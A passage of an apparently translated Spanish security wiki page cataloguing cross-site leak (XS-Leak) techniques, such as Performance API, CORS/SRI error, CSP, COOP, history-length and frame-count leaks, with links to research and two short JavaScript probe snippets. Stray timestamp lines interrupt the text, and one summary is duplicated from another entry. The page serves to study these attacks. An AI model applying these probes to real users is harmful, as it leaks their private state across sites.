* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** Las respuestas vacías no crean entradas de temporización de recursos.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta HTTP vacío porque las **páginas vacías no crean una entrada de rendimiento en algunos navegadores**.
### **Fuga de XSS-Auditor**
* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** Detecta la presencia de elementos específicos en una página web con el XSS-Auditor en SA.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
En SA, es posible detectar si se activó el XSSAuditor y, por lo tanto, filtrar información confidencial. El XSS-Auditor es una función incorporada de SA y GC (ahora eliminada) diseñada para mitigar los ataques de Cross-Site Scripting (XSS). En 2013, Braun y Heiderich \[7] demostraron que el XSS-Auditor se puede utilizar para bloquear scripts benignos con falsos positivos. Basándose en su técnica, los investigadores filtran información y detectan contenido específico en una página de origen cruzado. Estas XS-Leaks se describieron por primera vez en un informe de errores de Terada y luego en una publicación de blog de Heyes. Sin embargo, las técnicas descubiertas solo se aplican al XSS-Auditor en GC y no funcionan en SA. Descubrimos que las páginas bloqueadas no crearán entradas de Performance API. Esto significa que un atacante aún puede filtrar información confidencial con el XSS-Auditor en SA.
### Fuga de X-Frame
* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Resumen:** Un recurso con el encabezado X-Frame-Options no crea una entrada de temporización de recursos.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Si una página **no está permitida** para ser **renderizada** en un **iframe**, no crea una entrada de rendimiento. Como resultado, un atacante puede detectar el encabezado de respuesta **`X-Frame-Options`**.\
Lo mismo ocurre si se utiliza una etiqueta **embed**.
### Detección de Descargas
* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** Las descargas no crean entradas de temporización de recursos en la Performance API.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Similar a la XS-Leak descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco crea una entrada de rendimiento. Esta técnica funciona en todos los navegadores principales.
### Fuga de Inicio de Redireccionamiento
* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Redireccionamiento
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** La entrada de temporización de recursos filtra el tiempo de inicio de un redireccionamiento.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página de destino, consultando la **Performance API** y verificando los datos de temporización de **redirectStart**.
### Fuga de Redireccionamiento de Duración
* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Redireccionamiento
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** La duración de las entradas de temporización es negativa cuando ocurre un redireccionamiento.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
En GC, la **duración** de las solicitudes que resultan en un **redireccionamiento** es **negativa** y, por lo tanto, se puede **distinguir** de las solicitudes que no resultan en un redireccionamiento.
### Fuga de información de CORP
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen**: Los recursos protegidos con CORP no crean entradas de tiempo de recurso.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
En algunos casos, la **entrada nextHopProtocol** se puede utilizar como técnica de fuga. En GC, cuando se establece el **encabezado CORP**, el nextHopProtocol estará **vacío**. Tenga en cuenta que SA no creará ninguna entrada de rendimiento para los recursos habilitados para CORP.
### Trabajador de servicio
* **Métodos de inclusión**: Marcos
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Uso de API
* **Más información**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Resumen**: Detectar si un trabajador de servicio está registrado para un origen específico.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**:
Los trabajadores de servicio son contextos de script impulsados por eventos que se ejecutan en un origen. Se ejecutan en segundo plano de una página web y pueden interceptar, modificar y **almacenar en caché recursos** para crear aplicaciones web sin conexión.\
Si un **recurso almacenado en caché** por un **trabajador de servicio** se accede a través de un **iframe**, el recurso se cargará desde la caché del trabajador de servicio.\
Para detectar si el recurso se cargó desde la caché del trabajador de servicio, se puede utilizar la **API de rendimiento**.\
Esto también se puede hacer con un ataque de temporización (consulte el documento para obtener más información).
2023-06-05 18:33:24 +00:00
### Caché
* **Métodos de inclusión**: API Fetch
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Temporización
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Resumen**: Detectar si un recurso se almacenó en la caché.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
Usando la [API de rendimiento](xs-search.md#performance-api), es posible verificar si un recurso está en caché.\
2023-06-05 18:33:24 +00:00
Para obtener más información: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
### Duración de la red
* **Métodos de inclusión**: API Fetch
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Resumen**: Es posible recuperar la duración de la red de una solicitud desde la API de `performance`.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Técnica de mensajes de error
### Error de medios
* **Métodos de inclusión**: Elementos HTML (Video, Audio)
* **Diferencia detectable**: Código de estado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Resumen**: En FF, es posible filtrar de manera precisa el código de estado de una solicitud de origen cruzado.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
2023-06-05 18:33:24 +00:00
}
function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
2023-06-05 18:33:24 +00:00
}
```
La propiedad de mensaje de la interfaz **`MediaError`** contiene una **cadena diferente para los recursos que se cargan correctamente**. Esto permite a un atacante inferir el estado de respuesta de un recurso de origen cruzado.
2023-06-05 18:33:24 +00:00
### Error de CORS
* **Métodos de inclusión**: Fetch API
* **Diferencia detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumen**: En SA, los mensajes de error de CORS revelan la URL completa de las redirecciones.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Esta técnica permite a un atacante filtrar el destino de una redirección iniciada por un sitio de origen cruzado.
2023-06-05 18:33:24 +00:00
CORS permite que los recursos web de acceso público se lean y utilicen desde cualquier sitio web. En los navegadores basados en Webkit, es posible **acceder a los mensajes de error de CORS cuando falla una solicitud CORS**. Un atacante puede enviar una solicitud habilitada para CORS a un sitio web objetivo que **redirige** según el estado del usuario. Cuando el navegador deniega la solicitud, la **URL completa del destino de la redirección se filtra** en el mensaje de error. Con este ataque, es posible detectar redirecciones, filtrar ubicaciones de redirección y parámetros de consulta sensibles.
2023-06-05 18:33:24 +00:00
### Error de SRI
* **Métodos de inclusión**: Fetch API
* **Diferencia detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumen**: En SA, los mensajes de error de CORS revelan la URL completa de las redirecciones.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Un atacante puede filtrar el tamaño de las respuestas de origen cruzado debido a **mensajes de error detallados**.
El atributo de integridad define un hash criptográfico mediante el cual el navegador puede verificar que un recurso recuperado no ha sido manipulado. Este mecanismo de seguridad se llama Integridad de Subrecursos (SRI). Se utiliza para la verificación de integridad de recursos servidos desde redes de entrega de contenido (CDN). Para evitar fugas de datos, los recursos de origen cruzado deben estar **habilitados para CORS**. De lo contrario, la respuesta no es elegible para la validación de integridad. Similar al error de CORS XS-Leak, es posible capturar el **mensaje de error después de una solicitud fetch con un atributo de integridad que falla**. Un atacante puede provocar **intencionalmente** este **error** en cualquier solicitud especificando un **valor de hash falso**. En SA, este mensaje de error revela la longitud del contenido del recurso solicitado. Un atacante puede utilizar esta filtración para detectar diferencias en el tamaño de la respuesta, lo que permite poderosos ataques XS-Leak.
2023-06-05 18:33:24 +00:00
### Violación/Detección de CSP
* **Métodos de inclusión**: Pop-ups
* **Diferencia detectable**: Código de estado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Resumen**: Si solo se permite el sitio web de la víctima en el CSP y se intenta redirigir a un dominio diferente, el CSP activará un error detectable.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
Un XS-Leak puede utilizar el CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta filtración puede detectar la redirección, pero además, se filtra el dominio del destino de la redirección. La idea básica de este ataque es **permitir el dominio objetivo en el sitio del atacante**. Una vez que se emite una solicitud al dominio objetivo, este se **redirige** a un dominio de origen cruzado. El CSP **bloquea** el acceso a él y crea un **informe de violación utilizado como técnica de filtración**. Dependiendo del navegador, **este informe puede filtrar la ubicación objetivo de la redirección**.\
Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún se puede detectar que se activó una redirección de origen cruzado.
### Caché
* **Métodos de inclusión**: Marcos, Pop-ups
* **Diferencia detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Resumen**: Borra el archivo de la caché. Abre la página objetivo y verifica si el archivo está presente en la caché.
* **Ejemplo de código:**
Los navegadores pueden utilizar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha **solicitado un archivo específico**.
Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, consulta los enlaces de información adicional), **realizar una solicitud** que podría cargar ese recurso e intentar cargar el recurso **con una solicitud incorrecta** (por ejemplo, utilizando un encabezado de referer demasiado largo). Si la carga del recurso **no desencadena ningún error**, es porque está **en caché**.
### Directiva CSP
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Encabezado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Resumen**: Las directivas de encabezado CSP se pueden sondear con el atributo iframe CSP.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Una nueva función en GC permite que las páginas web propongan un CSP estableciendo un atributo en un elemento iframe. Las directivas de política se transmiten junto con la solicitud HTTP. Normalmente, el contenido incrustado debe permitir esto explícitamente con un encabezado HTTP, **de lo contrario se muestra una página de error**. Sin embargo, si el iframe ya envía un CSP y la nueva política no es más estricta, la página se mostrará normalmente.
Esto permite a un atacante detectar directivas CSP específicas de una página de origen cruzado, si es posible **detectar la página de error**. Aunque este error ahora está marcado como solucionado, encontramos una **nueva técnica de filtración que puede detectar la página de error, porque el problema subyacente nunca se solucionó**.
### **CORP**
* **Métodos de inclusión**: Fetch API
* **Diferencia detectable**: Encabezado
* **Más información**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Resumen**: Un recurso protegido con CORP arroja un error al ser obtenido.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
El encabezado CORP es una característica de seguridad relativamente nueva en la plataforma web que, cuando se establece, **bloquea las solicitudes de origen cruzado sin cors al recurso especificado**. La presencia del encabezado puede ser detectada, ya que un recurso protegido con CORP **arrojará un error al ser obtenido**.
### CORB
* **Métodos de inclusión**: Elementos HTML
* **Diferencia detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Resumen**: CORB puede permitir a los atacantes detectar si el encabezado `nosniff` está presente en la solicitud.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Consulte el enlace de más información para obtener más detalles sobre el ataque.
### Error CORS en la mala configuración de reflexión de origen <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
* **Métodos de inclusión**: Fetch API
* **Diferencia detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Resumen**: Si el encabezado de origen se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
En caso de que el encabezado de origen se esté **reflejando** en el encabezado `Access-Control-Allow-Origin`, un atacante puede aprovechar este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se produce un **error**, significa que se **obtuvo correctamente desde la web**; si se produce un **error**, es porque se **accedió desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).\
Tenga en cuenta que si el origen no se refleja pero se utiliza un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.
## Técnica de atributos legibles
### Redirección Fetch
* **Métodos de inclusión**: Fetch API
* **Diferencia detectable**: Código de estado
* **Más información**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Resumen**: GC y SA permiten verificar el tipo de respuesta (`opaque-redirect`) después de que se haya completado la redirección.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros parámetros, es posible leer el atributo `response.type` y si es igual a `opaqueredirect`, entonces la respuesta fue una redirección.
### COOP
* **Métodos de inclusión**: Ventanas emergentes
* **Diferencia detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Resumen**: Las páginas protegidas con COOP no pueden ser accedidas.
* **Ejemplo de código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Un atacante puede filtrar si el encabezado de Política de Apertura de Origen Cruzado (COOP) está disponible en una respuesta HTTP de origen cruzado.
Las aplicaciones web pueden implementar el encabezado de respuesta COOP para evitar que otros sitios web obtengan referencias de ventana arbitrarias de la aplicación. Sin embargo, este **encabezado puede ser detectado fácilmente** al intentar leer la **referencia `contentWindow`**. Si un sitio solo implementa **COOP en un estado**, esta propiedad (`opener`) es **indefinida**, **de lo contrario** está **definida**.
### Longitud máxima de URL - Lado del servidor
* **Métodos de inclusión**: Fetch API, Elementos HTML
* **Diferencia detectable**: Código de estado / Contenido
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Resumen**: Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección puede ser demasiado grande y el servidor responde con un error, generando una alerta.
* **Ejemplo de código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Si una redirección del lado del servidor utiliza **datos del usuario dentro de la redirección** y **datos adicionales**, es posible detectar este comportamiento porque generalmente los **servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** tienen esa **longitud - 1**, debido a que la **redirección** está utilizando **esos datos** y **agregando** algo **adicional**, se producirá un **error detectable a través de eventos de error**.
Si de alguna manera puede establecer cookies para un usuario, también puede realizar este ataque mediante **configuración suficiente de cookies** ([**cookie bomba**](hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerde que si desencadena esta solicitud desde el mismo sitio, `<script>` enviará automáticamente las cookies (para que pueda verificar los errores).\
Un ejemplo de **cookie bomba + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` o estar en el mismo contexto generalmente se necesita para este tipo de ataque.
2023-06-05 18:33:24 +00:00
### Longitud máxima de URL - Lado del cliente
* **Métodos de inclusión**: Pop-ups
* **Diferencia detectable**: Código de estado / Contenido
* **Más información**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Resumen**: Detecta diferencias en las respuestas debido a que la longitud de la respuesta de redireccionamiento puede ser demasiado grande para una solicitud, de manera que se pueda notar una diferencia.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Según la [documentación de Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), la longitud máxima de URL de Chrome es de 2MB.
> En general, la _plataforma web_ no tiene límites en la longitud de las URL (aunque 2^31 es un límite común). _Chrome_ limita las URL a una longitud máxima de **2MB** por razones prácticas y para evitar problemas de denegación de servicio en la comunicación entre procesos.
Por lo tanto, si la **URL de redireccionamiento responde con un tamaño mayor en uno de los casos**, es posible hacer que se redireccione con una **URL mayor a 2MB** para alcanzar el **límite de longitud**. Cuando esto sucede, Chrome muestra una página **`about:blank#blocked`**.
2023-06-05 18:33:24 +00:00
La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` arroja un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se alcanzó el **límite** y la página cargada fue **`about:blank#blocked`**, el **`origin`** de la ventana sigue siendo el del **padre**, lo cual es una **información accesible**.
2023-06-05 18:33:24 +00:00
Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que se **utilice en la redirección**.
2023-06-05 18:33:24 +00:00
{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}
### Máximo de redirecciones
* **Métodos de inclusión**: Fetch API, Marcos
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Código de estado
* **Más información**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Resumen**: Abusa del límite de redirecciones para detectar redirecciones.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Si el número **máximo** de **redirecciones** que puede seguir un navegador es de **20**, un atacante podría intentar cargar su página con **19 redirecciones** y finalmente **enviar a la víctima** a la página probada. Si se produce un **error**, significa que la página intentaba **redirigir a la víctima**.
2023-06-05 18:33:24 +00:00
### Longitud del historial
* **Métodos de inclusión**: Marcos, Pop-ups
2023-06-05 18:33:24 +00:00
* **Diferencia detectable**: Redirecciones
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Resumen**: El código JavaScript manipula el historial del navegador y se puede acceder mediante la propiedad de longitud.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
La API de historial permite que el código JavaScript manipule el historial del navegador, que **guarda las páginas visitadas por un usuario**. Un atacante puede usar la propiedad de longitud como método de inclusión: para detectar la navegación de JavaScript y HTML.\
Al **verificar `history.length`**, haciendo que un usuario **navegue** a una página, **cambiándola** de nuevo a la misma origen y **verificando** el nuevo valor de **`history.length`**.
2023-06-05 18:33:24 +00:00
### Longitud del historial con la misma URL
* **Métodos de inclusión**: Marcos, Pop-ups
* **Diferencia detectable**: Si la URL es la misma que la supuesta
* **Resumen**: Es posible adivinar si la ubicación de un marco/pop-up está en una URL específica abusando de la longitud del historial.
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: A continuación
Un atacante podría usar código JavaScript para **manipular la ubicación del marco/pop-up a una supuesta** y **cambiarla inmediatamente a `about:blank`**. Si la longitud del historial aumenta, significa que la URL era correcta y tuvo tiempo de **aumentar porque la URL no se recarga si es la misma**. Si no aumenta, significa que **intentó cargar la URL supuesta** pero debido a que **inmediatamente después** cargamos **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL supuesta.
2023-06-05 18:33:24 +00:00
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
2023-06-05 18:33:24 +00:00
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Conteo de Marcos
2023-06-05 18:33:24 +00:00
* **Métodos de Inclusión**: Marcos, Ventanas emergentes
* **Diferencia Detectable**: Contenido de la página
2023-06-05 18:33:24 +00:00
* **Más información**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Resumen:** Leer el número de marcos (window.length).
2023-06-05 18:33:24 +00:00
* **Ejemplo de código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Contar el **número de marcos en una página web** abierta mediante `iframe` o `window.open` puede ayudar a identificar el **estado del usuario en esa página**. Además, si la página siempre tiene el mismo número de marcos, verificar **continuamente** el número de marcos puede ayudar a identificar un **patrón** que podría filtrar información.
Un ejemplo de esta técnica es que en Chrome, un **PDF** se puede **detectar** con el **conteo de marcos** porque se utiliza internamente un `embed`. Hay [Parámetros de URL abiertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permiten cierto control sobre el contenido, como `zoom`, `view`, `page`, `toolbar`, donde esta técnica podría ser interesante.
### HTMLElements
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Resumen:** Leer el valor filtrado para distinguir entre 2 posibles estados
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Algunas páginas web pueden **generar dinámicamente archivos multimedia** según la información del usuario o agregar marcas de agua que cambian el tamaño del medio. Un atacante puede utilizar la información filtrada por esos elementos HTML para distinguir entre posibles estados.
Algunos HTMLElements filtrarán información a través de orígenes cruzados, como el tipo de medio que son:
* [HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) filtra la `duración` del medio y los tiempos `buffered`.
* [HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) filtra `videoHeight` y `videoWidth`, algunos navegadores también pueden tener `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount`.
* [getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) filtra `totalVideoFrames`.
* [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) filtra `height` y `width`, pero si la imagen no es válida, serán 0 y [`image.decode()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decode) será rechazado.
2023-06-05 18:33:24 +00:00
### Propiedad CSS
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Resumen:** Detectar el estilo del sitio web según el estado del usuario.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
